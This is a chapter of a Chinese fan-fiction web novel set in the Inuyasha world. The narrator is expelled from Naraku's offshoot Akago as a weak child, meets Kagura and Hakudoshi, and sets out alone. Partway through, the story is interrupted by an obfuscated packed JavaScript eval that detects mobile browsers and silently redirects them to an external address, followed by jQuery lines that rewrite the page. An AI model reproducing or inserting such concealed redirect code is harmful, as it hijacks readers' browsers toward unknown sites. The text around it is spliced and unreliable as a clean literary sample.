19. 逃离吗
作品:《救命,穿成奈落分身怎么办!》 意识沉下去的时候,我总觉得自己像被裹在一团温软的云里,又像是泡在刚晒过太阳的水里,暖乎乎的,却连手指头都动不了。
不知道飘了多久,久到我快忘了“自己”是谁,只记得那种被什么东西紧紧裹着的压迫感——像是穿了件小两号的衣服,连呼吸都得顺着那东西的节奏来。
直到某天,那股子粘稠的束缚突然松了,像扎紧的布袋子破了个洞,我整个人“呼”地一下就轻了,轻得有点发飘,连周围的黑暗都跟着淡了些。
我费了老大劲才把眼睛掀开一条缝,光线刺得我赶紧又闭上,缓了好一会儿才敢慢慢睁开。头顶是糙得硌眼的岩石,缝隙里还长着点暗绿色的苔藓,身下铺着干草,扎得皮肤有点痒。这地方……像是个山洞?
等等,我能感觉到皮肤了?
我猛地坐起来,动作太急差点栽下去,手忙脚乱地撑着干草低头看自己——小手小脚,皮肤白得晃眼,细胳膊细腿的,看起来也就七八岁的样子。身上就套着件松松垮垮的白内衬,布料糙得磨得慌,还短了一截,露出半截小腿。
我……出来了?从那个奈落的心脏分身赤子身体里出来了?!
“哟,总算醒了?”
旁边突然传来个女声,带着点没睡醒的慵懒,还有点看热闹的意思。我吓得一抬头,就看见神乐斜靠在洞壁上,黑色的头发垂在肩膀上,手里的折扇转得飞快,那双红眼睛正上上下下打量我,眼神里的好奇快溢出来了,还藏着点不怎么明显的嫌弃——就像看到了粘在衣服上的草籽。
再往洞里头看,更让我心跳漏了一拍。
一个穿紫色和服的小男孩坐在干草堆上,银白的短发贴在脸颊边,脸长得精致得像瓷娃娃,可眼神却冷得像冰。他闭着眼,眉头皱着,浑身都透着股“别烦我”的狂妄劲儿,不是刚从赤子那边分出来的白童子是谁?
“神乐?白童子?”我张嘴叫他们,声音一出来自己都愣了——软乎乎的,还带着点奶音,跟以前那个“未名”说话声音完全不一样。我赶紧捂住嘴,又惊又慌,“我怎么会在这儿?我不是还在……”
“啧,少跟我磨磨唧唧的。”神乐不耐烦地打断我,用扇子指了指地上,“之前奈落让我跟着赤子行动,中了个和尚的招式,那老和尚的佛光刺得我眼睛都疼,结果赤子那家伙‘咔嚓’一下就裂成两半了。”她嫌恶地比划了个劈东西的动作,扇子尖差点戳到地上的石头,“奈落让神无抱走了一半,剩下这麻烦的半截就丢给我,你说晦气不晦气?”
她顿了顿,目光又落回我身上,那眼神跟看个麻烦精似的:“我守着这半截玩意儿守了大半天,正嫌无聊呢,它突然‘嘭’一下,就把你给吐出来了——然后还变成了他。”扇子尖毫不客气地戳向白童子,“真是麻烦。”
我僵在原地,脑子里嗡嗡响。神泉和尚?劈成两半?所以我是因为赤子被劈了,才从那里面掉出来的?还顺便得了个这么小的身体?
我下意识地想调动体内的妖力——以前虽然弱,但至少能感觉到那点微薄的力量,像揣在兜里的小石子。可现在一摸,空空如也,连点余温都没有。我试着握紧拳头,只觉得胳膊软乎乎的,连块小石头都未必能捏碎。
这跟普通人类小孩有什么区别?
“喂。”
一个冰冷的童音突然响起,打断了我的胡思乱想。我抬头一看,白童子不知什么时候睁开了眼睛,那双跟奈落一模一样的紫色眸子正盯着我,里面没一点温度,就像在看地上的垃圾。
“你这个废物,总算从我身体里滚出来了。”他的声音还带着点孩童的稚嫩,可语气里的刻薄能冻死人,“感谢我吧,是我给了你想要的‘自由’。”
我心里一紧。这话里的意思太明显了——把我“排”出来,根本不是什么意外,十有八九是奈落的意思,白童子只是照着做而已。可奈落为什么要这么做?他以前把想把我融合回身体里面,不是因为我这具分身有什么特殊的吗?现在突然放我走,是觉得我没用了,还是……有什么更阴的算计?
我攥了攥手心,把心里的慌和疑都压下去,脸上立刻堆起个甜甜的笑,声音软得能掐出水:“谢谢白童子大人呀!谢谢您给我自由!”不管他打的什么主意,能从奈落的掌控里逃出来,哪怕只有这具弱小的身体,也比困在赤子身体里强。
白童子像是听到了什么笑话,嗤笑了一声,眼皮一耷拉,又闭上了眼睛,连多余的眼神都懒得给我。
这时神乐站起身,拍了拍和服下摆上的草屑,动作粗鲁,却莫名透着点利落。“行了,你醒了我也该走了,还得回去给奈落复命呢。”她走了两步,又突然停住,从袖子里掏出个东西,“啪”地扔到我面前。
我低头一看,是一套浅灰色的粗布衣服,看起来是临时找的,领口还缝了块补丁,不过洗得还算干净。
“喏,给你的。”神乐的语气还是没好气,“总不能不穿衣服晃悠,丢死人了。”
我捡起衣服,手指碰到粗布的时候,心里突然暖了一下。这个女人,嘴上永远不饶人,可做事却总带着点不经意的体贴。
“谢谢你,神乐。”这次我的声音轻了点,多了几分真心。
神乐别扭地转过头,耳朵尖有点红,哼了一声:“少废话,我走了。”话音刚落,她就化作一阵红色的风,“呼”地一下飞出了山洞,连点脚步声都没留下。
我拿着衣服,坐在干草堆上慢慢穿。衣服有点大,我笨手笨脚地折腾了好一会儿才穿好。衣服不算合身,袖子长了点,得卷起来才能露出手,可至少比之前的情况强多了。
我站起身,活动了一下胳膊腿,这具身体软乎乎的,走两步都觉得有点晃。我挪到山洞入口,阳光从外面照进来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300690|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金灿灿的,落在身上暖洋洋的,风里还带着点草木的清香——这是我被困在赤子身体里之后,很久没闻到过的味道。
自由的味道。
我回头看了一眼山洞里的白童子,他还是维持着刚才的姿势,闭着眼,眉头皱得更紧了点,周身的冷气都快凝成团了。我深吸一口气,小声说:“白童子,我也要走了。不管怎么说,谢谢你……”
他连眼皮都没抬一下,仿佛我只是路过的一阵风。
我不再犹豫,迈开小小的步子,一步一步走出了山洞。刚踏出去,就被阳光裹住了,暖得我忍不住眯起眼睛。我走了没几步,又忍不住回头看——只见神乐不知什么时候又回来了,正站在洞口,双手叉腰,对着白童子说着什么,脸色不太好看。白童子依旧坐着,只是眉头拧成了个疙瘩,手指无意识地捏紧了和服的下摆。
他们在说什么?是奈落的新命令吗?还是关于神无带走的那半赤子?
我甩了甩头,把这些念头都抛开。现在想这些没用,我现在就是个手无缚鸡之力的小孩,就算知道了奈落的计划,也什么都做不了。
我辨认了一下方向——仔细思考了下杀生丸会出现在什么地方。
我迈开步子,沿着山路慢慢走。山路有点崎岖,小石子硌得脚底有点疼,我只能走一会儿歇一会儿。路边长着些黄色的小野花,还有几只小松鼠窜来窜去,看到我就停下,歪着脑袋打量我,眼睛黑溜溜的,可爱得很。
我蹲下来,想摸摸它们,可刚伸出手,小松鼠就“嗖”地一下窜上了树,只留下个毛茸茸的尾巴对着我。我忍不住笑了,这还是我这么久以来,第一次真心实意地笑。
风轻轻吹过,树叶沙沙响,阳光透过树叶的缝隙洒下来,在地上投下斑驳的影子。我一边走,一边忍不住想:奈落到底为什么放我走?他那么多疑,不可能平白无故让我脱离掌控。是觉得我没了妖力,成了个没用的累赘,所以懒得管我?还是想让我凭着这具身体,去接近什么人?比如……杀生丸?还是犬夜叉他们?
越想越觉得后背发凉,可脚下的路却走得更稳了。不管奈落打的什么主意,至少现在,我是自由的。没有无处不在的监视,没有那种被裹在茧里的窒息感,没有奈落冰冷的意志压在我身上。
我抬起头,看着湛蓝的天空,云轻飘飘的,像棉花糖。我伸出手,阳光从指缝里漏下来,暖得我心里发颤。
我还活着,还能走,还能呼吸新鲜的空气。
就算这具身体很弱小,就算前路全是未知,就算奈落的影子可能还跟着我,可此刻,我是真真正正自由的。
我握紧拳头,迈开小小的步子,继续往前走。路边的野花还在开,小松鼠还在树上窜,阳光还在照着我。
一步,再一步。
不管前面等着我的是什么,至少现在,我走在自己的路上。